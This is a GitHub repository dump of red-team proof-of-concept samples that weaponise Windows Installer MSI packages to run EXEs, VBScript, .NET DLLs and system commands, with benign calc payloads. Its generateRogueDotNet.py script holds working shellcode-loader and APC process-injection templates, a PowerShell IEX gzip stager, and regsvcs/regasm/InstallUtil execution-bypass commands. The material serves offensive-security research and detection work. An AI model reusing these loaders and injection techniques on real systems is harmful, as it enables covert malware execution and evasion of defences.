├── 1-exe ├── Autoruns64.exe ├── build.ps1 ├── dummy.txt ├── sample1-run-autoruns64.msi ├── sample1-run-autoruns64.wxs └── test-msi.bat ├── 2-vbscript ├── build.ps1 ├── dummy.txt ├── run-calc.vbs ├── sample2-run-calc-script.msi ├── sample2-run-calc-script.wxs └── test-msi.bat ├── 3-dotnet ├── CustomAction.CA.dll ├── CustomAction.dll ├── build.ps1 ├── calc64.bin ├── dummy.txt ├── sample3-run-calc-shellcode-via-dotnet.msi ├── sample3-run-calc-shellcode-via-dotnet.wxs └── test-msi.bat ├── 4-post-actions ├── build.ps1 ├── dummy.txt ├── evil.msi ├── sample4-customaction-run-calc.msi ├── sample4-customaction-run-calc.wxs └── test-msi.bat ├── README.md └── tools ├── MsiDb.exe ├── rogue-dot-net ├── Microsoft.Deployment.WindowsInstaller.dll ├── System.Management.Automation.dll ├── generateRogueDotNet.py └── key.snk └── wix ├── DTF.chm ├── LICENSE.TXT ├── MakeSfxCA.exe ├── MakeSfxCA.exe.config ├── Microsoft.Deployment.Compression.Cab.dll ├── Microsoft.Deployment.Compression.Cab.xml ├── Microsoft.Deployment.Compression.dll ├── Microsoft.Deployment.Compression.xml ├── Microsoft.Deployment.Resources.dll ├── Microsoft.Deployment.Resources.xml ├── Microsoft.Deployment.WindowsInstaller.dll ├── Microsoft.Deployment.WindowsInstaller.xml ├── WixUIExtension.dll ├── WixUtilExtension.dll ├── candle.exe ├── candle.exe.config ├── darice.cub ├── light.exe ├── light.exe.config ├── wconsole.dll ├── winterop.dll ├── wix.dll ├── x64 └── sfxca.dll └── x86 └── sfxca.dll /1-exe/Autoruns64.exe: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mgeeky/msi-shenanigans/1d5fdd57879f1553571a0e5a026f432c1317d410/1-exe/Autoruns64.exe -------------------------------------------------------------------------------- /1-exe/build.ps1: -------------------------------------------------------------------------------- 1 | $curDir = (pwd) 2 | $projName = "sample1-run-autoruns64.wxs" 3 | $outMsi = "sample1-run-autoruns64.msi" 4 | 5 | $candle = Join-Path -Path $curDir -ChildPath "..\tools\wix\candle.exe" 6 | $light = Join-Path -Path $curDir -ChildPath "..\tools\wix\light.exe" 7 | $projectPath = Join-Path -Path $curDir -ChildPath $projName 8 | $objPath = $projectPath -Replace ".wxs", ".wixobj" 9 | $outMsiPath = Join-Path -Path $curDir -ChildPath $outMsi 10 | 11 | Write-Host "`n[+] Step 1: Compiling .wxs into .wixobj with Candle..." -ForegroundColor green 12 | & "$candle" "$projectPath" 13 | 14 | Write-Host "`n[+] Step 2: Linking .wixobj into .msi with Light..." -ForegroundColor green 15 | & "$light" -ext WixUIExtension -cultures:en-us -dcl:high -out "$outMsiPath" "$objPath" 16 | 17 | del "$curDir\*.wixpdb" 18 | del "$curDir\*.wixobj" 19 | 20 | Write-Host "`n[+] Done." -ForegroundColor green 21 | -------------------------------------------------------------------------------- /1-exe/dummy.txt: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mgeeky/msi-shenanigans/1d5fdd57879f1553571a0e5a026f432c1317d410/1-exe/dummy.txt -------------------------------------------------------------------------------- /1-exe/sample1-run-autoruns64.msi: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mgeeky/msi-shenanigans/1d5fdd57879f1553571a0e5a026f432c1317d410/1-exe/sample1-run-autoruns64.msi -------------------------------------------------------------------------------- /1-exe/sample1-run-autoruns64.wxs: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | 11 | 12 | 13 | 14 | 15 | 16 | 17 | 18 | 19 | 20 | 21 | 22 | 23 | 24 | 25 | 26 | 27 | 28 | 29 | 30 | 31 | 32 | 33 | 34 | 35 | 36 | 37 | 38 | 39 | 40 | 41 | 42 | NOT REMOVE 43 | 44 | 45 | 46 | -------------------------------------------------------------------------------- /1-exe/test-msi.bat: -------------------------------------------------------------------------------- 1 | @echo off 2 | cmd /c sample1-run-autoruns64.msi /q && sleep 5 && msiexec /q /x sample1-run-autoruns64.msi -------------------------------------------------------------------------------- /2-vbscript/build.ps1: -------------------------------------------------------------------------------- 1 | $curDir = (pwd) 2 | $projName = "sample2-run-calc-script.wxs" 3 | $outMsi = "sample2-run-calc-script.msi" 4 | 5 | $candle = Join-Path -Path $curDir -ChildPath "..\tools\wix\candle.exe" 6 | $light = Join-Path -Path $curDir -ChildPath "..\tools\wix\light.exe" 7 | $projectPath = Join-Path -Path $curDir -ChildPath $projName 8 | $objPath = $projectPath -Replace ".wxs", ".wixobj" 9 | $outMsiPath = Join-Path -Path $curDir -ChildPath $outMsi 10 | 11 | Write-Host "`n[+] Step 1: Compiling .wxs into .wixobj with Candle..." -ForegroundColor green 12 | & "$candle" "$projectPath" 13 | 14 | Write-Host "`n[+] Step 2: Linking .wixobj into .msi with Light..." -ForegroundColor green 15 | & "$light" -ext WixUIExtension -cultures:en-us -dcl:high -out "$outMsiPath" "$objPath" 16 | 17 | del "$curDir\*.wixpdb" 18 | del "$curDir\*.wixobj" 19 | 20 | Write-Host "`n[+] Done." -ForegroundColor green -------------------------------------------------------------------------------- /2-vbscript/dummy.txt: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mgeeky/msi-shenanigans/1d5fdd57879f1553571a0e5a026f432c1317d410/2-vbscript/dummy.txt -------------------------------------------------------------------------------- /2-vbscript/run-calc.vbs: -------------------------------------------------------------------------------- 1 | On Error Resume Next 2 | Sub obf_GeneratorEntryPoint() 3 | obf_LaunchCommand "calc" 4 | End Sub 5 | 6 | Sub obf_MacroEntryPoint() 7 | On Error Resume Next 8 | obf_GeneratorEntryPoint 9 | End Sub 10 | 11 | Sub obf_Runtime() 12 | obf_MacroEntryPoint 13 | End Sub 14 | 15 | Sub obf_LaunchCommand(ByVal obf_command) 16 | Dim obf_launcher 17 | Dim obf_cmd 18 | 19 | With CreateObject("WScript.Shell") 20 | With .Exec(obf_command) 21 | .Terminate 22 | End With 23 | End With 24 | End Sub 25 | 26 | obf_Runtime -------------------------------------------------------------------------------- /2-vbscript/sample2-run-calc-script.msi: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mgeeky/msi-shenanigans/1d5fdd57879f1553571a0e5a026f432c1317d410/2-vbscript/sample2-run-calc-script.msi -------------------------------------------------------------------------------- /2-vbscript/sample2-run-calc-script.wxs: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | 11 | 12 | 13 | 14 | 15 | 16 | 17 | 18 | 19 | 20 | 21 | 22 | 23 | 24 | 25 | 26 | 27 | 28 | 29 | 30 | 31 | 32 | 33 | 34 | 35 | 36 | 37 | 38 | 39 | 40 | 41 | 42 | NOT REMOVE 43 | 44 | 45 | 46 | -------------------------------------------------------------------------------- /2-vbscript/test-msi.bat: -------------------------------------------------------------------------------- 1 | @echo off 2 | cmd /c sample2-run-calc-script.msi /q && sleep 5 && msiexec /q /x sample2-run-calc-script.msi -------------------------------------------------------------------------------- /3-dotnet/CustomAction.CA.dll: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mgeeky/msi-shenanigans/1d5fdd57879f1553571a0e5a026f432c1317d410/3-dotnet/CustomAction.CA.dll -------------------------------------------------------------------------------- /3-dotnet/CustomAction.dll: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mgeeky/msi-shenanigans/1d5fdd57879f1553571a0e5a026f432c1317d410/3-dotnet/CustomAction.dll -------------------------------------------------------------------------------- /3-dotnet/build.ps1: -------------------------------------------------------------------------------- 1 | $architecture = "x64" 2 | $dotnetVer = "v2" # or "v4" 3 | $shellcodePath = "$(pwd)\calc64.bin" 4 | $methodName = "MyMethod" 5 | $python = "python" 6 | 7 | $curDir = (pwd) 8 | $projName = "sample3-run-calc-shellcode-via-dotnet.wxs" 9 | $outMsi = "sample3-run-calc-shellcode-via-dotnet.mst" 10 | 11 | $rogueDotNetPath = Join-Path -Path $curDir -ChildPath "..\tools\rogue-dot-net\generateRogueDotNet.py" 12 | $candle = Join-Path -Path $curDir -ChildPath "..\tools\wix\candle.exe" 13 | $light = Join-Path -Path $curDir -ChildPath "..\tools\wix\light.exe" 14 | $makesfxca = Join-Path -Path $curDir -ChildPath "..\tools\wix\MakeSfxCA.exe" 15 | $referencePath = Join-Path -Path $curDir -ChildPath "..\tools\wix\Microsoft.Deployment.WindowsInstaller.dll" 16 | $sfxcaPath = Join-Path -Path $curDir -ChildPath "..\tools\wix\$architecture\sfxca.dll" 17 | 18 | $customActionCAPath = Join-Path -Path $curDir -ChildPath "CustomAction.CA.dll" 19 | $customActionPath = Join-Path -Path $curDir -ChildPath "CustomAction.dll" 20 | $projectPath = Join-Path -Path $curDir -ChildPath $projName 21 | $objPath = $projectPath -Replace ".wxs", ".wixobj" 22 | $outMsiPath = Join-Path -Path $curDir -ChildPath $outMsi 23 | 24 | Write-Host "`n[+] Step 1: Generating rogue .NET DLL..." -ForegroundColor green 25 | & "$python" "$rogueDotNetPath" -M --dotnet-ver $dotnetVer -t plain -s CustomAction -n CustomActions -m $methodName -r -c $architecture -o "$customActionPath" "$shellcodePath" 26 | 27 | Write-Host "`n[+] Step 2: Building SFX Custom Action DLL..." -ForegroundColor green 28 | & "$makesfxca" "$customActionCAPath" "$sfxcaPath" "$customActionPath" "$referencePath" 29 | 30 | Write-Host "`n[+] Step 3: Compiling .wxs into .wixobj with Candle..." -ForegroundColor green 31 | & "$candle" "$projectPath" -arch "$architecture" 32 | 33 | Write-Host "`n[+] Step 4: Linking .wixobj into .msi with Light..." -ForegroundColor green 34 | & "$light" -ext WixUIExtension -cultures:en-us -dcl:high -out "$outMsiPath" "$objPath" 35 | 36 | del "$curDir\*.wixpdb" 37 | del "$curDir\*.wixobj" 38 | 39 | Write-Host "`n[+] Done." -ForegroundColor green -------------------------------------------------------------------------------- /3-dotnet/calc64.bin: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mgeeky/msi-shenanigans/1d5fdd57879f1553571a0e5a026f432c1317d410/3-dotnet/calc64.bin -------------------------------------------------------------------------------- /3-dotnet/dummy.txt: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mgeeky/msi-shenanigans/1d5fdd57879f1553571a0e5a026f432c1317d410/3-dotnet/dummy.txt -------------------------------------------------------------------------------- /3-dotnet/sample3-run-calc-shellcode-via-dotnet.msi: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mgeeky/msi-shenanigans/1d5fdd57879f1553571a0e5a026f432c1317d410/3-dotnet/sample3-run-calc-shellcode-via-dotnet.msi -------------------------------------------------------------------------------- /3-dotnet/sample3-run-calc-shellcode-via-dotnet.wxs: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | 11 | 12 | 13 | 14 | 15 | 16 | 17 | 18 | 19 | 20 | 21 | 22 | 23 | 24 | 25 | 26 | 27 | 28 | 29 | 30 | 31 | 32 | 33 | 34 | 35 | 36 | 37 | 38 | 39 | 40 | 41 | 42 | NOT REMOVE 43 | 44 | 45 | 46 | -------------------------------------------------------------------------------- /3-dotnet/test-msi.bat: -------------------------------------------------------------------------------- 1 | @echo off 2 | cmd /c sample3-run-calc-shellcode-via-dotnet.msi /q && sleep 5 && msiexec /q /x sample3-run-calc-shellcode-via-dotnet.msi -------------------------------------------------------------------------------- /4-post-actions/build.ps1: -------------------------------------------------------------------------------- 1 | $curDir = (pwd) 2 | $projName = "sample4-customaction-run-calc.wxs" 3 | $outMsi = "sample4-customaction-run-calc.msi" 4 | 5 | $candle = Join-Path -Path $curDir -ChildPath "..\tools\wix\candle.exe" 6 | $light = Join-Path -Path $curDir -ChildPath "..\tools\wix\light.exe" 7 | $projectPath = Join-Path -Path $curDir -ChildPath $projName 8 | $objPath = $projectPath -Replace ".wxs", ".wixobj" 9 | $outMsiPath = Join-Path -Path $curDir -ChildPath $outMsi 10 | 11 | Write-Host "`n[+] Step 1: Compiling .wxs into .wixobj with Candle..." -ForegroundColor green 12 | & "$candle" "$projectPath" 13 | 14 | Write-Host "`n[+] Step 2: Linking .wixobj into .msi with Light..." -ForegroundColor green 15 | & "$light" -ext WixUIExtension -cultures:en-us -dcl:high -out "$outMsiPath" "$objPath" 16 | 17 | del "$curDir\*.wixpdb" 18 | del "$curDir\*.wixobj" 19 | 20 | Write-Host "`n[+] Done." -ForegroundColor green -------------------------------------------------------------------------------- /4-post-actions/dummy.txt: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mgeeky/msi-shenanigans/1d5fdd57879f1553571a0e5a026f432c1317d410/4-post-actions/dummy.txt -------------------------------------------------------------------------------- /4-post-actions/evil.msi: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mgeeky/msi-shenanigans/1d5fdd57879f1553571a0e5a026f432c1317d410/4-post-actions/evil.msi -------------------------------------------------------------------------------- /4-post-actions/sample4-customaction-run-calc.msi: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mgeeky/msi-shenanigans/1d5fdd57879f1553571a0e5a026f432c1317d410/4-post-actions/sample4-customaction-run-calc.msi -------------------------------------------------------------------------------- /4-post-actions/sample4-customaction-run-calc.wxs: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | 11 | 12 | 13 | 14 | 15 | 16 | 17 | 18 | 19 | 20 | 21 | 22 | 23 | 24 | 25 | 26 | 27 | 28 | 29 | 30 | 31 | 32 | 33 | 34 | 35 | 36 | 37 | 38 | 39 | 40 | 41 | NOT REMOVE 42 | 43 | 44 | 45 | 46 | -------------------------------------------------------------------------------- /4-post-actions/test-msi.bat: -------------------------------------------------------------------------------- 1 | @echo off 2 | cmd /c sample4-customaction-run-calc.msi /q && sleep 5 && msiexec /q /x sample4-customaction-run-calc.msi -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # MSI Shenanigans 2 | 3 | This repository contains Proof of Concept code and harmless weaponised packages representing various weaponisation strategies that Threat Actors abuse in Windows Installer MSI format. 4 | 5 | Supplemental blog post can be found here: 6 | 7 | - [MSI Shenanigans. Part 1 - Offensive Capabilities Overview](https://mgeeky.tech/msi-shenanigans-part-1/) 8 | 9 | ## Intro 10 | 11 | Samples in this directory constitute PoCes presenting different ways to make MSI installation subsystem execute: 12 | 13 | - EXE files 14 | - VBScript/JScript 15 | - .NET DLLs 16 | - System commands 17 | 18 | ## Samples Included 19 | 20 | - `1-exe` - launches MS Sysinternals Autoruns64.exe from `C:\Windows\Installer\MSXXXX.msi` 21 | - `2-vbscript` - executes VBScript that runs `calc` over `Wscript.Shell.Exec` method 22 | - `3-dotnet` - bundles specially crafted CustomAction .NET DLL, that when executed, runs shellcode which spawns `calc` 23 | - `4-post-actions` - simple MSI that runs system commands after installation is complete, here runs `calc` 24 | 25 | 26 | --- 27 | 28 | ### ☕ Show Support ☕ 29 | 30 | This and other projects are outcome of sleepless nights and **plenty of hard work**. If you like what I do and appreciate that I always give back to the community, 31 | [Consider buying me a coffee](https://github.com/sponsors/mgeeky) _(or better a beer)_ just to say thank you! 💪 32 | 33 | --- 34 | 35 | ``` 36 | Mariusz Banach / mgeeky, (@mariuszbit) 37 | 38 | ``` -------------------------------------------------------------------------------- /tools/MsiDb.exe: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mgeeky/msi-shenanigans/1d5fdd57879f1553571a0e5a026f432c1317d410/tools/MsiDb.exe -------------------------------------------------------------------------------- /tools/rogue-dot-net/Microsoft.Deployment.WindowsInstaller.dll: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mgeeky/msi-shenanigans/1d5fdd57879f1553571a0e5a026f432c1317d410/tools/rogue-dot-net/Microsoft.Deployment.WindowsInstaller.dll -------------------------------------------------------------------------------- /tools/rogue-dot-net/System.Management.Automation.dll: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mgeeky/msi-shenanigans/1d5fdd57879f1553571a0e5a026f432c1317d410/tools/rogue-dot-net/System.Management.Automation.dll -------------------------------------------------------------------------------- /tools/rogue-dot-net/generateRogueDotNet.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python3 2 | # 3 | # Red-Teaming script that constructs C# code for Regsvcs/Regasm/InstallUtil code execution technique. 4 | # 5 | # Step 1: Generate source code file 6 | # cmd> python3 generateRogueDotNet.py -r payload.bin > program.cs 7 | # 8 | # Step 2: Compilate library .NET Assembly 9 | # cmd> %WINDIR%\Microsoft.NET\Framework\v4.0.30319\csc.exe /r:System.EnterpriseServices.dll /target:library /out:rogue.dll /keyfile:key.snk program.cs 10 | # 11 | # if you passed Powershell code to be launched in a .NET Runspace, then an additional assembly will have to be used 12 | # to compile resulting source code properly - meaning System.Management.Automation.dll (provided with this script). 13 | # Then proper compilation command will be: 14 | # 15 | # cmd> %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\csc.exe /r:System.EnterpriseServices.dll /r:System.Management.Automation.dll /target:library /out:rogue.dll /keyfile:key.snk program.cs 16 | # 17 | # Step 3: Code execution via Regsvcs, Regasm or InstallUtil: 18 | # x86: 19 | # cmd> %WINDIR%\Microsoft.NET\Framework\v4.0.30319\regsvcs.exe rogue.dll 20 | # cmd> %WINDIR%\Microsoft.NET\Framework\v4.0.30319\regasm.exe rogue.dll 21 | 22 | # cmd> %WINDIR%\Microsoft.NET\Framework\v4.0.30319\regsvcs.exe /U rogue.dll 23 | # cmd> %WINDIR%\Microsoft.NET\Framework\v4.0.30319\regasm.exe /U rogue.dll 24 | 25 | # cmd> %WINDIR%\Microsoft.NET\Framework\v2.0.50727\InstallUtil.exe /logfile= /logtoconsole=false /U rogue.dll 26 | # cmd> %WINDIR%\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe /logfile= /logtoconsole=false /U rogue.dll 27 | # x64: 28 | # cmd> %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\regsvcs.exe rogue.dll 29 | # cmd> %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\regasm.exe rogue.dll 30 | 31 | # cmd> %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\regsvcs.exe /U rogue.dll 32 | # cmd> %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\regasm.exe /U rogue.dll 33 | 34 | # cmd> %WINDIR%\Microsoft.NET\Framework64\v2.0.50727\InstallUtil.exe /logfile= /logtoconsole=false /U rogue.dll 35 | # cmd> %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe /logfile= /logtoconsole=false /U rogue.dll 36 | # 37 | # Mariusz B. / mgeeky, 38 | # 39 | 40 | import os 41 | import io 42 | import sys 43 | import gzip 44 | import base64 45 | import string 46 | import random 47 | import pefile 48 | import argparse 49 | import tempfile 50 | import subprocess 51 | 52 | COMPILER_BASE = r'%WINDIR%\\Microsoft.NET\\Framework\\\\csc.exe' 53 | 54 | TYPES_NOT_NEEDING_INPUT_FILE = ( 55 | 'run-command', 'exec' 56 | ) 57 | 58 | COMPILERS = { 59 | 'v2': r'v2.0.50727', 60 | 'v4': r'v4.0.30319', 61 | } 62 | 63 | decompressionFuncs = ''' 64 | public static long CopyTo(Stream source, Stream destination) { 65 | byte[] buffer = new byte[2048]; 66 | int bytesRead; 67 | long totalBytes = 0; 68 | while((bytesRead = source.Read(buffer, 0, buffer.Length)) > 0) { 69 | destination.Write(buffer, 0, bytesRead); 70 | totalBytes += bytesRead; 71 | } 72 | return totalBytes; 73 | } 74 | 75 | public static byte[] DecompressString(string compressedText) { 76 | byte[] data = Convert.FromBase64String(compressedText); 77 | 78 | using (MemoryStream ms = new MemoryStream(data)) { 79 | using (GZipStream gzip = new GZipStream(ms, CompressionMode.Decompress)) { 80 | using (MemoryStream decompressed = new MemoryStream()) { 81 | //gzip.CopyTo(decompressed); 82 | CopyTo(gzip, decompressed); 83 | return decompressed.ToArray(); 84 | } 85 | } 86 | } 87 | } 88 | ''' 89 | 90 | globalOptions = {} 91 | 92 | class ShellCommandReturnedError(Exception): 93 | pass 94 | 95 | 96 | def shell2(cmd, alternative=False, stdErrToStdout=False, surpressStderr=False): 97 | CREATE_NO_WINDOW = 0x08000000 98 | si = subprocess.STARTUPINFO() 99 | si.dwFlags |= subprocess.STARTF_USESHOWWINDOW 100 | si.wShowWindow = subprocess.SW_HIDE 101 | 102 | outs = '' 103 | errs = '' 104 | if not alternative: 105 | out = subprocess.run( 106 | cmd, 107 | cwd = os.path.dirname(os.path.abspath(__file__)), 108 | shell=True, 109 | capture_output=True, 110 | startupinfo=si, 111 | creationflags=CREATE_NO_WINDOW, 112 | timeout=60, 113 | check = False 114 | ) 115 | 116 | outs = out.stdout 117 | errs = out.stderr 118 | 119 | else: 120 | proc = subprocess.Popen( 121 | cmd, 122 | cwd = os.path.dirname(os.path.abspath(__file__)), 123 | shell=True, 124 | stdout=subprocess.PIPE, 125 | stderr=subprocess.PIPE, 126 | startupinfo=si, 127 | creationflags=CREATE_NO_WINDOW 128 | ) 129 | try: 130 | outs, errs = proc.communicate(timeout=60) 131 | proc.wait() 132 | 133 | except subprocess.TimeoutExpired: 134 | proc.kill() 135 | sys.stderr.write('WARNING! The command timed-out! Results may be incomplete\n') 136 | outs, errs = proc.communicate() 137 | 138 | status = outs.decode(errors='ignore').strip() 139 | 140 | if len(errs) > 0 and not surpressStderr: 141 | error = ''' 142 | Running shell command ({}) failed: 143 | 144 | --------------------------------------------- 145 | {} 146 | --------------------------------------------- 147 | '''.format(cmd, errs.decode(errors='ignore')) 148 | 149 | if stdErrToStdout: 150 | return error 151 | 152 | raise ShellCommandReturnedError(error) 153 | 154 | return status 155 | 156 | 157 | def shell(cmd, alternative=False, output=False, surpressStderr=False): 158 | out = shell2(cmd, alternative, stdErrToStdout=output, surpressStderr=surpressStderr) 159 | 160 | return out 161 | 162 | 163 | def getCompressedPayload(filePath, returnRaw=False): 164 | out = io.BytesIO() 165 | encoded = '' 166 | with open(filePath, 'rb') as f: 167 | inp = f.read() 168 | 169 | with gzip.GzipFile(fileobj=out, mode='w') as fo: 170 | fo.write(inp) 171 | 172 | encoded = base64.b64encode(out.getvalue()) 173 | if returnRaw: 174 | return encoded 175 | 176 | powershell = "$s = New-Object IO.MemoryStream(, [Convert]::FromBase64String('{}')); IEX (New-Object IO.StreamReader(New-Object IO.Compression.GzipStream($s, [IO.Compression.CompressionMode]::Decompress))).ReadToEnd();".format( 177 | encoded.decode() 178 | ) 179 | return powershell 180 | 181 | 182 | def getPayloadCode(payload): 183 | return f'shellcode = "{payload}";' 184 | 185 | # payloadCode = '\n' 186 | # 187 | # N = 50000 188 | # codeSlices = map(lambda i: payload[i:i + N], range(0, len(payload), N)) 189 | # 190 | # variables = [] 191 | # 192 | # num = 1 193 | # for code in codeSlices: 194 | # payloadCode += f'string shellcode{num} = "{code}";\n' 195 | # variables.append(f'shellcode{num}') 196 | # num += 1 197 | # 198 | # concat = 'shellcode = ' + ' + '.join(variables) + ';\n' 199 | # payloadCode += concat 200 | # 201 | # return payloadCode 202 | 203 | 204 | def getSourceFileContents( 205 | module, 206 | namespace, 207 | method, 208 | payload, 209 | _format, 210 | apc, 211 | targetProcess, 212 | dontUseNamespace=False, 213 | _type='regasm', 214 | command='' 215 | ): 216 | 217 | templateName = ''.join(random.choice(string.ascii_letters) for x in range(random.randint(5, 15))) 218 | if len(module) > 0: 219 | templateName = module 220 | 221 | namespaceName = ''.join(random.choice(string.ascii_letters) for x in range(random.randint(5, 15))) 222 | if len(namespace) > 0: 223 | namespaceName = namespace 224 | 225 | methodName = ''.join(random.choice(string.ascii_letters) for x in range(random.randint(5, 15))) 226 | if len(method) > 0: 227 | methodName = method 228 | 229 | payloadCode = payload 230 | 231 | if _type not in ['exec', 'run-command']: 232 | payloadCode = getPayloadCode(payload.decode()) 233 | 234 | launchCode = '' 235 | 236 | if _type not in ['exec', 'run-command'] and _format == 'exe': 237 | 238 | exeLaunchCode = string.Template(''' 239 | 240 | $decompressionFuncs 241 | 242 | public static bool Execute() { 243 | 244 | string shellcode = ""; 245 | $payloadCode 246 | byte[] payload = DecompressString(shellcode); 247 | 248 | Assembly asm = Assembly.Load(payload); 249 | MethodInfo method = asm.EntryPoint; 250 | object instance = asm.CreateInstance(method.Name); 251 | method.Invoke(instance, new object[] { new string[] { } }); 252 | return true; 253 | } 254 | 255 | ''').safe_substitute( 256 | decompressionFuncs=decompressionFuncs, 257 | payloadCode=payloadCode 258 | ) 259 | 260 | launchCode = exeLaunchCode 261 | 262 | elif _type not in ['exec', 'run-command'] and _format == 'raw': 263 | 264 | if not apc: 265 | shellcodeLoader = string.Template(''' 266 | 267 | [DllImport("kernel32")] 268 | private static extern IntPtr VirtualAlloc(IntPtr lpAddress, UIntPtr dwSize, UInt32 flAllocationType, UInt32 flProtect); 269 | 270 | [DllImport("kernel32")] 271 | private static extern bool VirtualFree(IntPtr lpAddress, UInt32 dwSize, UInt32 dwFreeType); 272 | 273 | [DllImport("kernel32")] 274 | private static extern IntPtr CreateThread( UInt32 lpThreadAttributes, UInt32 dwStackSize, IntPtr lpStartAddress, IntPtr param, UInt32 dwCreationFlags, ref UInt32 lpThreadId ); 275 | 276 | [DllImport("kernel32")] 277 | private static extern bool CloseHandle(IntPtr hHandle); 278 | 279 | [DllImport("kernel32")] 280 | private static extern UInt32 WaitForSingleObject( IntPtr hHandle, UInt32 dwMilliseconds ); 281 | 282 | private static UInt32 MEM_COMMIT = 0x1000; 283 | private static UInt32 PAGE_EXECUTE_READWRITE = 0x40; 284 | private static UInt32 MEM_RELEASE = 0x8000; 285 | 286 | $decompressionFuncs 287 | 288 | public static bool Execute() { 289 | 290 | string shellcode = ""; 291 | $payloadCode 292 | byte[] payload = DecompressString(shellcode); 293 | 294 | IntPtr funcAddr = VirtualAlloc(IntPtr.Zero, (UIntPtr)payload.Length, MEM_COMMIT, PAGE_EXECUTE_READWRITE); 295 | Marshal.Copy(payload, 0, funcAddr, payload.Length); 296 | IntPtr hThread = IntPtr.Zero; 297 | UInt32 threadId = 0; 298 | 299 | hThread = CreateThread(0, 0, funcAddr, IntPtr.Zero, 0, ref threadId); 300 | WaitForSingleObject(hThread, 0xFFFFFFFF); 301 | 302 | CloseHandle(hThread); 303 | VirtualFree(funcAddr, 0, MEM_RELEASE); 304 | 305 | return true; 306 | } 307 | 308 | ''').safe_substitute( 309 | decompressionFuncs=decompressionFuncs, 310 | payloadCode=payloadCode 311 | ) 312 | else: 313 | shellcodeLoader = string.Template(''' 314 | 315 | $decompressionFuncs 316 | 317 | public static bool Execute() { 318 | 319 | string shellcode = ""; 320 | $payloadCode 321 | byte[] payload = DecompressString(shellcode); 322 | 323 | string processpath = Environment.ExpandEnvironmentVariables(@"$targetProcess"); 324 | STARTUPINFO si = new STARTUPINFO(); 325 | PROCESS_INFORMATION pi = new PROCESS_INFORMATION(); 326 | bool success = CreateProcess(null, processpath, 327 | IntPtr.Zero, IntPtr.Zero, false, 328 | ProcessCreationFlags.CREATE_SUSPENDED, 329 | IntPtr.Zero, null, ref si, out pi); 330 | 331 | IntPtr resultPtr = VirtualAllocEx(pi.hProcess, IntPtr.Zero, payload.Length,MEM_COMMIT, PAGE_READWRITE); 332 | IntPtr bytesWritten = IntPtr.Zero; 333 | bool resultBool = WriteProcessMemory(pi.hProcess,resultPtr,payload,payload.Length, out bytesWritten); 334 | 335 | IntPtr sht = OpenThread(ThreadAccess.SET_CONTEXT, false, (int)pi.dwThreadId); 336 | uint oldProtect = 0; 337 | resultBool = VirtualProtectEx(pi.hProcess,resultPtr, payload.Length,PAGE_EXECUTE_READ, out oldProtect); 338 | IntPtr ptr = QueueUserAPC(resultPtr,sht,IntPtr.Zero); 339 | 340 | IntPtr ThreadHandle = pi.hThread; 341 | ResumeThread(ThreadHandle); 342 | return true; 343 | } 344 | 345 | private static UInt32 MEM_COMMIT = 0x1000; 346 | 347 | private static UInt32 PAGE_EXECUTE_READWRITE = 0x40; 348 | private static UInt32 PAGE_READWRITE = 0x04; 349 | private static UInt32 PAGE_EXECUTE_READ = 0x20; 350 | 351 | [Flags] 352 | public enum ProcessAccessFlags : uint 353 | { 354 | All = 0x001F0FFF, 355 | Terminate = 0x00000001, 356 | CreateThread = 0x00000002, 357 | VirtualMemoryOperation = 0x00000008, 358 | VirtualMemoryRead = 0x00000010, 359 | VirtualMemoryWrite = 0x00000020, 360 | DuplicateHandle = 0x00000040, 361 | CreateProcess = 0x000000080, 362 | SetQuota = 0x00000100, 363 | SetInformation = 0x00000200, 364 | QueryInformation = 0x00000400, 365 | QueryLimitedInformation = 0x00001000, 366 | Synchronize = 0x00100000 367 | } 368 | 369 | [Flags] 370 | public enum ProcessCreationFlags : uint 371 | { 372 | ZERO_FLAG = 0x00000000, 373 | CREATE_BREAKAWAY_FROM_JOB = 0x01000000, 374 | CREATE_DEFAULT_ERROR_MODE = 0x04000000, 375 | CREATE_NEW_CONSOLE = 0x00000010, 376 | CREATE_NEW_PROCESS_GROUP = 0x00000200, 377 | CREATE_NO_WINDOW = 0x08000000, 378 | CREATE_PROTECTED_PROCESS = 0x00040000, 379 | CREATE_PRESERVE_CODE_AUTHZ_LEVEL = 0x02000000, 380 | CREATE_SEPARATE_WOW_VDM = 0x00001000, 381 | CREATE_SHARED_WOW_VDM = 0x00001000, 382 | CREATE_SUSPENDED = 0x00000004, 383 | CREATE_UNICODE_ENVIRONMENT = 0x00000400, 384 | DEBUG_ONLY_THIS_PROCESS = 0x00000002, 385 | DEBUG_PROCESS = 0x00000001, 386 | DETACHED_PROCESS = 0x00000008, 387 | EXTENDED_STARTUPINFO_PRESENT = 0x00080000, 388 | INHERIT_PARENT_AFFINITY = 0x00010000 389 | } 390 | 391 | public struct PROCESS_INFORMATION 392 | { 393 | public IntPtr hProcess; 394 | public IntPtr hThread; 395 | public 